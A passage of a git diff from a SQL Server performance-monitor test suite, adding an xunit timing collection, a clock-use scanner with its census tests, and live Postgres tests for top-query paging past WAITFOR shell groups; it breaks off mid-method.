+namespace Darling.Tests;
+
+/// <summary>
+/// The one collection for every test class that times its own work and judges the time against a limit (#5602).
+/// xunit runs a <see cref="CollectionDefinitionAttribute.DisableParallelization"/> collection on its own, after the
+/// parallel classes have finished, so the timed calls get a quiet process instead of sharing CPU with the other
+/// 17,000 tests (#4788: the setting redactor's scaling check; #5484: the statement filter's warm-up waits; #5561: a
+/// timing test on a 27 MB plan; #5600: the cloud identity probe's step limit). The bars stay where they were: a
+/// real regression still fails them, and a busy runner no longer does.
+///
+/// <para>This collection replaced <c>pg-setting-redactor-timing</c> and <c>statement-filter-warm-up</c>. The warm-up
+/// wait tests stage a process-wide fake warm-up; running them in this collection keeps them apart from every other
+/// class too, which is all their own collection did.</para>
+///
+/// <para>A class that times work and cannot join it (it needs the <c>live-postgres</c> collection's shared store) or
+/// does not judge the time (a hang guard, a diagnostic) is named on the allow list of
+/// <see cref="TimingTestCensusTests"/> with its reason.</para>
+/// </summary>
+[CollectionDefinition("timing", DisableParallelization = true)]
+public sealed class TimingCollection
+{
+}
diff --git a/Darling/Darling.Tests/TimingTestCensusTests.cs b/Darling/Darling.Tests/TimingTestCensusTests.cs
new file mode 100644
index 0000000000..425f6029db
--- /dev/null
+++ b/Darling/Darling.Tests/TimingTestCensusTests.cs
@@ -0,0 +1,168 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A Darling.Tests class that starts a clock runs in the <c>timing</c> collection or is on the allow list with its
+/// reason (#5602). xunit runs test classes in parallel, so a class that times its work and fails past a limit is
+/// judging the whole runner's load: #5561 (a 27 MB plan) and #5600 (the cloud probe's step limit, 1083 ms against a
+/// 1000 ms bar in the whole-suite guards job) were that. <see cref="TimingCollection"/> is declared with
+/// <c>DisableParallelization</c>, so xunit runs it alone, after the parallel classes.
+///
+/// <para>"Starts a clock" is <see cref="TimingTestScanner"/>'s rule: <c>Stopwatch.StartNew</c>, <c>GetTimestamp</c>,
+/// <c>GetElapsedTime</c>, <c>new Stopwatch</c>, a <c>DateTime.UtcNow</c> subtraction or <c>Environment.TickCount</c> in
+/// code (comments and string literals do not count). That is wider than "asserts on the elapsed time", so a class that
+/// only reports a time is named too, and one more assertion cannot slip in unseen. The allow list is per file; every
+/// entry carries its reason, and an entry whose file no longer starts a clock outside the collection fails, so the
+/// list only shrinks.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class TimingTestCensusTests
+{
+    private const string HangGuard = "hang guard: the bound is a generous ceiling that only stops a stuck test, so load cannot trip it and a regression is not what it measures";
+
+    private const string PollLoop = "poll loop: the clock only bounds a wait for a state that the test then asserts on; no assertion is made on the time";
+
+    private const string Diagnostic = "diagnostic: the time is written to the test output and nothing asserts on it";
+
+    private const string LiveStore = "live-postgres member (#5602): it needs that collection's shared migrated store, and a class is in one collection only. The bound is wide (a server-side timeout or a hang guard of 10 s and up, against work that takes milliseconds), so runner load does not trip it. It stays: a second copy of the shared-store fixture in the timing collection would read the process-wide LiveCleanupBatch ledger again and report every live class's residue twice";
+
+    /// <summary>Anti-vacuity: the timing collection holds well over this many classes, so a scan that stopped seeing it fails.</summary>
+    private const int TimingMemberFloor = 15;
+
+    private static readonly Dictionary<string, string> s_allowed = new(StringComparer.Ordinal)
+    {
+        ["CaggGroupIndexDropUpgradeLiveTests.cs"] = "lower bound only: it asserts the migration waited out a ~8 s lock hold (elapsed >= 7 s); load makes the wait longer, never shorter",
+        ["CollectionLogDrainForensicsStoreTests.cs"] = "the clock is handed to a counting reader under test; the assertions are on the readings it records (rows, bytes, a last-read stamp >= 0), with no upper bound on any time",
+        ["CollectionLogSegmentByLiveTests.cs"] = LiveStore + "; the 30 s ceiling is a hang guard on a lock wait",
+        ["ComposeTimeoutPhaseLiveTests.cs"] = HangGuard + " (60 s against a 5 s compose timeout)",
+        ["DarlingManagedPostgresTests.cs"] = PollLoop + " (a retry of a file operation the OS may still hold)",
+        ["MoveDirectoryOnceReleasedTests.cs"] = "lower bound only: it asserts the retry waited its patience before giving up; load makes the wait longer, never shorter",
+        ["PerDatabaseFaultPathSplitTests.cs"] = "the clock is a running slice the code under test reads; the test spins until it passes a minimum and asserts it keeps running and freezes when stopped, with no upper bound",
+        ["PgWaitSamplerLiveTests.cs"] = LiveStore + "; the bound is the sampling window plus 30 s, with the window as the lower bound",
+        ["PlanRegressionDailyTriggerCostRig.cs"] = Diagnostic + " (a cost rig, never asserted)",
+        ["ProvisioningSerializationTests.cs"] = "lower bounds on a deliberate wait plus ceilings of 20 s and 90 s over it, which are hang guards; the same file also holds a live-postgres member",
+        ["QueryStoreBackfillCutChunkLiveTests.cs"] = Diagnostic,
+        ["QueryStoreIntervalConvergenceLiveTests.cs"] = Diagnostic + " (each step's duration is recorded for the failure message)",
+        ["QueryStoreIntervalPurgeRowCappedTests.cs"] = HangGuard + " (120 s for a purge drain)",
+        ["RdsLogStateConcurrencyTests.cs"] = "the clock sets how long the test hammers the code (rounds for one second); no assertion is made on a time",
+        ["ReadScopeStatementCaptureLiveTests.cs"] = "live-postgres member; lower bound only (the recorded duration must reach 550 ms after a 600 ms delay)",
+        ["RollupBackfillLiveTests.cs"] = PollLoop + " (a held-chunk wait with a limit)",
+        ["SensitiveStatementJsonTests.cs"] = Diagnostic + " (median of 20 identity walks)",
+        ["SensitiveStatementOutputFilterTests.cs"] = "every time bound goes through TimingClaim.AtMost, which asserts only when DARLING_TIMING_TESTS=1 and otherwise records the reading; the best of three is what it judges",
+        ["SensitiveStatementSessionTests.cs"] = Diagnostic + " (throughput records)",
+        ["SensitiveStatementXmlTests.cs"] = Diagnostic + " (best-of-seven records; the only assertion is that the pass took time)",
+        ["SensitiveStatementsTests.cs"] = "time bounds go through TimingClaim.AtMost (asserts only when DARLING_TIMING_TESTS=1, best of several runs); the real assertions are lower bounds (a budgeted judge ran at least 60% of its limit) and fake-clock arithmetic",
+        ["StatementFilterBlockingReadsLiveTests.cs"] = LiveStore + "; the 10 s bound is a hang guard on a filter that judges 1 MB in tens of milliseconds",
+        ["StatementFilterPlanReadsLiveTests.cs"] = LiveStore + "; the 15 s bound is a hang guard on a filter that judges a plan in tens of milliseconds",
+        ["StatementScrubBlockingTests.cs"] = Diagnostic + " (scrub throughput records)",
+        ["StatementScrubSnapshotTests.cs"] = HangGuard + " (2 minutes for a worst-case snapshot read)",
+        ["StoreCopyPhaseLivePostgresTests.cs"] = "live-postgres member; lower bound only (the start phase must not give up before the sweep deadline less a second); the upper bound moved to the exact fault type and message asserts, which tell the deadline from Npgsql's own timeout (#5602)",
+        ["TrendStaleStatsLiveTests.cs"] = Diagnostic + " (the assertions are on the answer status)",
+        ["TuningDropLockRecoveryLiveTests.cs"] = HangGuard + " (60 s against a single blocked drop)",
+        ["WebExceptionTextCensusTests.cs"] = "the stopwatch's reading is passed as the elapsed-milliseconds argument of a fake tool's timeout result; no assertion is made on a time",
+        ["TuningReaderBudgetLiveTests.cs"] = LiveStore + "; the bound is half of each reader's 15 s or 30 s command deadline",
+    };
+
+    [Fact]
+    public void TheDetector_SeesAClockAndTheCollection_AndIgnoresProseAndStrings()
+    {
+        const string text = "namespace N;\n\n"
+          + "[Collection(\"timing\")]\npublic sealed class Timed\n{\n    void A() { var w = Stopwatch.StartNew(); }\n}\n\n"
+          + "public sealed class Bare\n{\n    void B() { long t = Stopwatch.GetTimestamp(); }\n}\n\n"
+          + "[Trait(\"Stage\", \"Guard\")]\n[Collection(\"timing\")]\npublic sealed class TwoAttributes\n{\n    void C() { var d = DateTime.UtcNow - start; }\n}\n\n"
+          + "public sealed class Prose\n{\n    // var w = Stopwatch.StartNew();\n    /* new Stopwatch() */\n"
+          + "    void D() { Assert.Contains(\"Stopwatch.GetTimestamp()\", source); var s = @\"a \"\"Stopwatch.StartNew()\"\" b\"; }\n"
+          + "    /// <summary>Environment.TickCount</summary>\n    void E() { }\n}\n\n"
+          + "public sealed class Interpolated\n{\n    void F() => Log($\"x {Stopwatch.StartNew()}\");\n}\n";
+
+        var rows = TimingTestScanner.ScanText("t.cs", text).ToDictionary(r => r.Name);
+
+        Assert.True(rows["Timed"].StartsClock);
+        Assert.True(rows["Timed"].InTimingCollection);
+        Assert.True(rows["Bare"].StartsClock);
+        Assert.False(rows["Bare"].InTimingCollection);
+        Assert.True(rows["TwoAttributes"].StartsClock);
+        Assert.True(rows["TwoAttributes"].InTimingCollection);
+        Assert.False(rows["Prose"].StartsClock);
+        Assert.False(rows["Interpolated"].StartsClock);
+    }
+
+    [Fact]
+    public void TheDetector_ReportsAClockOutsideTheCollection_AndAStaleAllowEntry()
+    {
+        var rows = TimingTestScanner.ScanText(
+            "Bare.cs",
+            "public sealed class Bare\n{\n    void B() { var w = new Stopwatch(); }\n}\n");
+
+        var problems = TimingTestScanner.Problems(rows, new Dictionary<string, string>());
+        Assert.Single(problems);
+        Assert.Contains("Bare.cs", problems[0], StringComparison.Ordinal);
+
+        Assert.Empty(TimingTestScanner.Problems(rows, new Dictionary<string, string> { ["Bare.cs"] = "reason" }));
+        Assert.Equal(new[] { "Gone.cs" }, TimingTestScanner.Stale(rows, new Dictionary<string, string> { ["Bare.cs"] = "reason", ["Gone.cs"] = "reason" }));
+    }
+
+    [Fact]
+    public void EveryClassThatStartsAClock_RunsInTheTimingCollection_OrIsAllowedWithAReason()
+    {
+        var rows = TimingTestScanner.Scan(TestsRoot());
+
+        var problems = TimingTestScanner.Problems(rows, s_allowed);
+        Assert.True(
+            problems.Count == 0,
+            "A test class starts a clock outside the `timing` collection (#5602). xunit runs classes in parallel, so a time limit "
+          + "judged there is judged against the runner's load. Add [Collection(\"timing\")] above the class (TimingCollection runs "
+          + "alone, after the parallel classes), assert on the work instead of the clock, or, for a hang guard, a poll loop or a "
+          + "diagnostic, name the file in TimingTestCensusTests.s_allowed with the reason:\n  " + string.Join("\n  ", problems));
+
+        var stale = TimingTestScanner.Stale(rows, s_allowed);
+        Assert.True(
+            stale.Count == 0,
+            "These allow-list entries no longer name a file that starts a clock outside the timing collection; delete them:\n  "
+          + string.Join("\n  ", stale));
+
+        var members = rows.Count(r => r.InTimingCollection);
+        Assert.True(
+            members >= TimingMemberFloor,
+            $"only {members} Darling.Tests classes are in the timing collection; the scan has stopped seeing them");
+    }
+
+    [Fact]
+    public void EveryAllowListEntry_NamesARealFile_AndGivesAReason()
+    {
+        foreach (var (file, reason) in s_allowed)
+        {
+            Assert.True(File.Exists(Path.Combine(TestsRoot(), file)), $"allow-list entry {file} is not a file under Darling.Tests");
+            Assert.False(string.IsNullOrWhiteSpace(reason), $"allow-list entry {file} has no reason");
+        }
+    }
+
+    [Fact]
+    public void TheTimingCollection_IsNotParallel_AndIsTheOnlyOneOfItsName()
+    {
+        var definitions = typeof(TimingTestCensusTests).Assembly.GetTypes()
+            .Select(t => (Type: t, Attribute: t.GetCustomAttribute<CollectionDefinitionAttribute>()))
+            .Where(d => d.Attribute is not null && string.Equals(d.Attribute.Name, TimingTestScanner.CollectionName, StringComparison.Ordinal))
+            .ToList();
+
+        var definition = Assert.Single(definitions);
+        Assert.True(definition.Attribute!.DisableParallelization, "the timing collection must run alone, or it protects nothing");
+    }
+
+    private static string TestsRoot([CallerFilePath] string thisFile = "") => Path.GetDirectoryName(thisFile)!;
+}
diff --git a/Darling/Darling.Tests/TimingTestScanner.cs b/Darling/Darling.Tests/TimingTestScanner.cs
new file mode 100644
index 0000000000..539f55bc89
--- /dev/null
+++ b/Darling/Darling.Tests/TimingTestScanner.cs
@@ -0,0 +1,275 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Finds the test classes that start a clock, for the timing census of each test suite (#5602).
+///
+/// <para><b>Why.</b> xunit runs test classes in parallel, so a class that times its own work and fails when the
+/// time passes a limit is judging the whole runner's load, not the code. #5561 and #5600 were that. The fix is a
+/// single collection, <c>timing</c>, declared with <c>DisableParallelization</c>: xunit runs it alone, after the
+/// parallel classes. The census (<c>TimingTestCensusTests</c> in each project) fails when a class starts a clock
+/// outside that collection and is not on the allow list with its reason.</para>
+///
+/// <para><b>What counts as starting a clock.</b> A statement in a class body, after comments and string contents are
+/// blanked, that calls <c>Stopwatch.StartNew</c>, <c>Stopwatch.GetTimestamp</c> or <c>Stopwatch.GetElapsedTime</c>,
+/// constructs a <c>Stopwatch</c>, subtracts a <c>DateTime.UtcNow</c>/<c>Now</c> reading from a variable named like a start time (<c>started</c>, <c>start</c>, <c>began</c>; a heuristic, so "N minutes ago" arithmetic is not caught), or reads
+/// <c>Environment.TickCount</c>. Source pins that quote those calls inside a string literal do not count. The rule is
+/// wider than "asserts on the elapsed time": a class that only reports a time has to say so on the allow list, which
+/// keeps one more place from growing an assertion unnoticed.</para>
+///
+/// <para>Linked into Lite.Tests (see <c>Lite.Tests.csproj</c> and the <c>lite_linked_shard</c> filter in build.yml).</para>
+/// </summary>
+internal static class TimingTestScanner
+{
+    /// <summary>The collection name every timing class carries.</summary>
+    internal const string CollectionName = "timing";
+
+    internal const string CollectionAttributeText = "[Collection(\"" + CollectionName + "\")]";
+
+    private static readonly Regex s_clock = new(
+        @"\bStopwatch\s*\.\s*(?:StartNew|GetTimestamp|GetElapsedTime)\s*\(|\bnew\s+(?:System\.Diagnostics\.)?Stopwatch\s*\(|\b(?:DateTime|DateTimeOffset)\s*\.\s*(?:UtcNow|Now)\s*-\s*(?:started|startedAt|start|startUtc|began|begun|t0)\b|\bEnvironment\s*\.\s*TickCount(?:64)?\b",
+        RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_classHeader = new(
+        @"^(?:(?:public|internal)\s+)?(?:(?:sealed|static|abstract|partial)\s+)*(?:class|record)\s+(?<name>\w+)",
+        RegexOptions.CultureInvariant | RegexOptions.Multiline);
+
+    /// <summary>One top-level class: its file, its name, whether it starts a clock, whether it is in <c>timing</c>.</summary>
+    internal sealed record Row(string File, string Name, bool StartsClock, bool InTimingCollection);
+
+    /// <summary>Every top-level class under <paramref name="testsRoot"/> (build output skipped), one row per declaration.</summary>
+    internal static IReadOnlyList<Row> Scan(string testsRoot)
+    {
+        var rows = new List<Row>();
+        foreach (var path in Directory.EnumerateFiles(testsRoot, "*.cs", SearchOption.AllDirectories).OrderBy(p => p, StringComparer.Ordinal))
+        {
+            var relative = Path.GetRelativePath(testsRoot, path).Replace('\\', '/');
+            if (relative.StartsWith("bin/", StringComparison.Ordinal) || relative.StartsWith("obj/", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            rows.AddRange(ScanText(relative, File.ReadAllText(path)));
+        }
+
+        return rows;
+    }
+
+    /// <summary>The rows of one file's text.</summary>
+    internal static IReadOnlyList<Row> ScanText(string file, string text)
+    {
+        var withStrings = Blank(text, blankStrings: false);
+        var code = Blank(text, blankStrings: true);
+        var headers = s_classHeader.Matches(code);
+        var rows = new List<Row>();
+        for (var i = 0; i < headers.Count; i++)
+        {
+            var start = headers[i].Index;
+            var end = i + 1 < headers.Count ? headers[i + 1].Index : code.Length;
+
+            // The attribute lines directly above the declaration belong to it; the clock lines never sit there.
+            var attrStart = start;
+            while (attrStart > 0)
+            {
+                var lineEnd = attrStart - 1;
+                var lineStart = withStrings.LastIndexOf('\n', Math.Max(lineEnd - 1, 0)) + 1;
+                var line = withStrings.Substring(lineStart, lineEnd - lineStart).Trim();
+                if (line.StartsWith('[') && line.EndsWith(']'))
+                {
+                    attrStart = lineStart;
+                    continue;
+                }
+
+                break;
+            }
+
+            var attributes = withStrings.Substring(attrStart, start - attrStart);
+            rows.Add(new Row(
+                file,
+                headers[i].Groups["name"].Value,
+                s_clock.IsMatch(code.AsSpan(start, end - start)),
+                attributes.Contains(CollectionAttributeText, StringComparison.Ordinal)));
+        }
+
+        return rows;
+    }
+
+    /// <summary>The problems with <paramref name="rows"/>: a clock outside <c>timing</c>, off the allow list.</summary>
+    internal static List<string> Problems(IReadOnlyList<Row> rows, IReadOnlyDictionary<string, string> allowed)
+    {
+        var problems = new List<string>();
+        foreach (var row in rows.Where(r => r.StartsClock && !r.InTimingCollection))
+        {
+            if (!allowed.ContainsKey(row.File))
+            {
+                problems.Add($"{row.File}: {row.Name} starts a clock outside {CollectionAttributeText} and is not on the allow list");
+            }
+        }
+
+        return problems;
+    }
+
+    /// <summary>The allow-list entries that no longer name a file with a clock outside <c>timing</c>: the list only shrinks.</summary>
+    internal static List<string> Stale(IReadOnlyList<Row> rows, IReadOnlyDictionary<string, string> allowed)
+    {
+        var live = rows.Where(r => r.StartsClock && !r.InTimingCollection).Select(r => r.File).ToHashSet(StringComparer.Ordinal);
+        return allowed.Keys.Where(k => !live.Contains(k)).OrderBy(k => k, StringComparer.Ordinal).ToList();
+    }
+
+    /// <summary>
+    /// <paramref name="text"/> with comments, and optionally the contents of string and character literals, replaced by
+    /// spaces. Length and line breaks are kept, so an index into the result is an index into the source.
+    /// </summary>
+    internal static string Blank(string text, bool blankStrings)
+    {
+        var output = new StringBuilder(text.Length);
+        var i = 0;
+        while (i < text.Length)
+        {
+            var c = text[i];
+            var next = i + 1 < text.Length ? text[i + 1] : '\0';
+
+            if (c == '/' && next == '/')
+            {
+                while (i < text.Length && text[i] != '\n')
+                {
+                    output.Append(text[i] == '\r' ? '\r' : ' ');
+                    i++;
+                }
+
+                continue;
+            }
+
+            if (c == '/' && next == '*')
+            {
+                output.Append("  ");
+                i += 2;
+                while (i < text.Length && !(text[i] == '*' && i + 1 < text.Length && text[i + 1] == '/'))
+                {
+                    output.Append(text[i] is '\n' or '\r' ? text[i] : ' ');
+                    i++;
+                }
+
+                if (i < text.Length)
+                {
+                    output.Append("  ");
+                    i += 2;
+                }
+
+                continue;
+            }
+
+            if (c == '"' && next == '"' && i + 2 < text.Length && text[i + 2] == '"')
+            {
+                // Raw string literal: three or more quotes to the same count.
+                var quotes = 0;
+                while (i + quotes < text.Length && text[i + quotes] == '"')
+                {
+                    quotes++;
+                }
+
+                var closer = new string('"', quotes);
+                var close = text.IndexOf(closer, i + quotes, StringComparison.Ordinal);
+                var stop = close < 0 ? text.Length : close + quotes;
+                CopyString(text, i, stop, output, blankStrings, keep: quotes);
+                i = stop;
+                continue;
+            }
+
+            if (c == '"' || ((c == '@' || c == '$') && IsStringStart(text, i)))
+            {
+                var verbatim = false;
+                var j = i;
+                while (text[j] is '@' or '$')
+                {
+                    verbatim |= text[j] == '@';
+                    j++;
+                }
+
+                // text[j] is the opening quote.
+                var k = j + 1;
+                while (k < text.Length)
+                {
+                    if (verbatim && text[k] == '"' && k + 1 < text.Length && text[k + 1] == '"')
+                    {
+                        k += 2;
+                        continue;
+                    }
+
+                    if (!verbatim && text[k] == '\\')
+                    {
+                        k += 2;
+                        continue;
+                    }
+
+                    if (text[k] == '"' || (!verbatim && text[k] == '\n'))
+                    {
+                        break;
+                    }
+
+                    k++;
+                }
+
+                var stop = Math.Min(k + 1, text.Length);
+                CopyString(text, i, stop, output, blankStrings, keep: (j - i) + 1);
+                i = stop;
+                continue;
+            }
+
+            if (c == '\'')
+            {
+                var k = i + 1;
+                while (k < text.Length && text[k] != '\'' && text[k] != '\n')
+                {
+                    k += text[k] == '\\' ? 2 : 1;
+                }
+
+                var stop = Math.Min(k + 1, text.Length);
+                CopyString(text, i, stop, output, blankStrings, keep: 1);
+                i = stop;
+                continue;
+            }
+
+            output.Append(c);
+            i++;
+        }
+
+        return output.ToString();
+    }
+
+    private static bool IsStringStart(string text, int index)
+    {
+        var j = index;
+        while (j < text.Length && text[j] is '@' or '$')
+        {
+            j++;
+        }
+
+        return j < text.Length && text[j] == '"';
+    }
+
+    /// <summary>Appends text[from..to); with <paramref name="blank"/> the interior (past <paramref name="keep"/> opening characters and the closing one) becomes spaces.</summary>
+    private static void CopyString(string text, int from, int to, StringBuilder output, bool blank, int keep)
+    {
+        for (var p = from; p < to; p++)
+        {
+            var ch = text[p];
+            var isEdge = p - from < keep || p == to - 1;
+            output.Append(!blank || isEdge || ch is '\n' or '\r' ? ch : ' ');
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TopCpuQueriesTextLiveTests.cs b/Darling/Darling.Tests/TopCpuQueriesTextLiveTests.cs
index 459efd524b..c143812aa4 100644
--- a/Darling/Darling.Tests/TopCpuQueriesTextLiveTests.cs
+++ b/Darling/Darling.Tests/TopCpuQueriesTextLiveTests.cs
@@ -140,7 +140,7 @@ public async Task TheDrillDown_ReturnsTheOraclesRows_AndResolvesTextForThePrinte
 
         try
         {
-            var windowEnd = TruncateToSeconds(DateTime.UtcNow);
+            var windowEnd = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var windowStart = windowEnd.AddHours(-4);
             var context = new AnalysisContext
             {
diff --git a/Darling/Darling.Tests/TopCpuQueriesTextShapeTests.cs b/Darling/Darling.Tests/TopCpuQueriesTextShapeTests.cs
index 62493b5ba4..3cb2bdd05b 100644
--- a/Darling/Darling.Tests/TopCpuQueriesTextShapeTests.cs
+++ b/Darling/Darling.Tests/TopCpuQueriesTextShapeTests.cs
@@ -35,7 +35,7 @@ window nor the ranking may project it... */
         Assert.DoesNotContain("query_text", sql[..cut], StringComparison.Ordinal);
 
         /* ...it is read after the cut: equality for a keyed group, NULL-safe for a group with a NULL key. */
-        Assert.Contains("SELECT LEFT(MAX(v.query_text), 500)", sql[cut..], StringComparison.Ordinal);
+        Assert.Contains("SELECT MAX(v.query_text)", sql[cut..], StringComparison.Ordinal);
         Assert.Contains("v.query_hash = t.query_hash", sql[cut..], StringComparison.Ordinal);
         Assert.Contains("CASE WHEN t.database_name IS NULL OR t.query_hash IS NULL THEN", sql[cut..], StringComparison.Ordinal);
         Assert.Contains("v.query_hash IS NOT DISTINCT FROM t.query_hash", sql[cut..], StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/TopFillEmptyRoundLiveTests.cs b/Darling/Darling.Tests/TopFillEmptyRoundLiveTests.cs
new file mode 100644
index 0000000000..49a3519321
--- /dev/null
+++ b/Darling/Darling.Tests/TopFillEmptyRoundLiveTests.cs
@@ -0,0 +1,147 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5313: a window whose top groups are ALL WAITFOR shells, more of them than the first round's <c>top + 5</c> candidates.
+/// The first round's page is then trimmed to nothing, so it returns no page row. It used to carry no
+/// <c>candidate_count</c> either, and an empty round read as "the candidates ran out": the list came back empty although
+/// real groups existed below the shells. Each statement now returns its count on a row of its own (<c>page_ord</c> NULL),
+/// so the fill asks again.
+///
+/// <para>Each test seeds twelve shells that outrank six real groups and reads a page of three, so round one (8 candidates)
+/// sees only shells and the answer is only right if a later round runs.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class TopFillEmptyRoundLiveTests
+{
+    private const int Top = 3;
+    private const int Shells = 12;
+    private const int Real = 6;
+    private const string WaitforText = "WAITFOR DELAY '00:00:30'";
+
+    [Fact]
+    public Task TopQueries_AFirstRoundOfOnlyShells_StillFillsThePage() =>
+        WithSharedStoreAsync("top-fill-empty-round-queries", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            for (var i = 1; i <= Shells + Real; i++)
+            {
+                var shell = i <= Shells;
+                var text = shell ? WaitforText : "SELECT real " + i;
+                var weight = shell ? 1_000_000L - i : 10_000L - i * 100;
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_stats
+                          (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+                           query_text, query_text_digest, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                           delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time,
+                           min_dop, max_dop, sample_interval_seconds)
+                      VALUES ($1, $2, $3, $4, 'FillDb', $5, $6, $7, $8, $9, $10, 10, $11, $11, 100, 0, 0, 1, $11, 1, $11, 1, 1, 3600)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(now.AddHours(-2).AddSeconds(i)), serverId, serverName,
+                    "0xQ" + i, "0xP" + i, "0xS" + i, "0xL" + i, text, SHA256.HashData(Encoding.UTF8.GetBytes(text)), weight);
+            }
+
+            var (start, end) = (now.AddHours(-24), now.AddMinutes(5));
+            foreach (var ranking in new[] { TopRanking.Cpu, TopRanking.Duration })
+            {
+                foreach (var rollUp in new[] { false, true })
+                {
+                    var result = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(postgres, serverId, start, end, Top, null, rollUp, 0, ranking, ct);
+                    var label = $"{ranking}, roll-up {rollUp}";
+                    Assert.True(result.Rows.Count == Top, $"{label}: {result.Rows.Count} rows, expected {Top}");
+                    Assert.DoesNotContain(result.Rows, r => (r.QueryText ?? "").StartsWith("WAITFOR", StringComparison.Ordinal));
+                    Assert.Equal(new[] { "SELECT real 13", "SELECT real 14", "SELECT real 15" }, result.Rows.Select(r => r.QueryText).ToArray());
+                }
+            }
+        }, "DELETE FROM query_stats WHERE server_id = {0}");
+
+    [Fact]
+    public Task QueryStoreTop_Mcp_AFirstRoundOfOnlyShells_StillFillsThePage() =>
+        WithSharedStoreAsync("top-fill-empty-round-qs-mcp", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedQueryStoreAsync(connection, serverId, serverName, now, ct);
+            var rows = await DarlingDataReader.GetQueryStoreTopAsync(postgres, serverId, now.AddHours(-3), now.AddMinutes(5), Top, null, null, null, ct);
+            Assert.Equal(Top, rows.Count);
+            Assert.DoesNotContain(rows, r => (r.QueryText ?? "").StartsWith("WAITFOR", StringComparison.Ordinal));
+            Assert.Equal(new long[] { 113, 114, 115 }, rows.Select(r => r.QueryId).ToArray());
+        }, "DELETE FROM query_store_stats WHERE server_id = {0}");
+
+    [Fact]
+    public Task QueryStoreTop_Viewer_AFirstRoundOfOnlyShells_StillFillsThePage() =>
+        WithSharedStoreAsync("top-fill-empty-round-qs-viewer", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedQueryStoreAsync(connection, serverId, serverName, now, ct);
+            await using var viewer = new ViewerDataService(Environment.GetEnvironmentVariable("DARLING_TEST_PG")!);
+            var rows = await viewer.GetQueryStoreTopQueriesAsync(serverId, now.AddHours(-3), now.AddMinutes(5), Top, cancellationToken: ct);
+            Assert.Equal(Top, rows.Count);
+            Assert.DoesNotContain(rows, r => (r.QueryText ?? "").StartsWith("WAITFOR", StringComparison.Ordinal));
+            Assert.Equal(new long[] { 113, 114, 115 }, rows.Select(r => r.QueryId).ToArray());
+        }, "DELETE FROM query_store_stats WHERE server_id = {0}");
+
+    /// <summary>Twelve shell plans that outrank six real ones on total duration (executions times average).</summary>
+    private static async Task SeedQueryStoreAsync(NpgsqlConnection connection, int serverId, string serverName, DateTime now, CancellationToken ct)
+    {
+        for (var i = 1; i <= Shells + Real; i++)
+        {
+            var shell = i <= Shells;
+            var queryId = shell ? i : 100 + i;
+            var duration = shell ? 50_000_000L - i : 10_000L - i * 10;
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_hash, query_plan_hash, query_text, execution_count, avg_duration_us, avg_cpu_time_us, last_execution_time)
+                  VALUES ($1, $2, $3, $4, 'FillQsDb', $5, $5, $6, $7, $8, 10, $9, 800, $2)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(now.AddHours(-2).AddSeconds(i)), serverId, serverName, (long)queryId,
+                "0xQ" + queryId, "0xP" + queryId, shell ? WaitforText : "SELECT real " + queryId, duration);
+        }
+    }
+
+    private static async Task WithSharedStoreAsync(
+        string serverName, Func<NpgsqlConnection, NpgsqlDataSource, int, string, DateTime, CancellationToken, Task> body, string cleanupSql)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live fill tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var serverId = ServerIdHelper.GetDeterministicHashCode(serverName);
+        var cleanup = string.Format(System.Globalization.CultureInfo.InvariantCulture, cleanupSql, serverId)
+                      + string.Format(System.Globalization.CultureInfo.InvariantCulture, "; DELETE FROM servers WHERE server_id = {0}", serverId);
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, cleanup);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
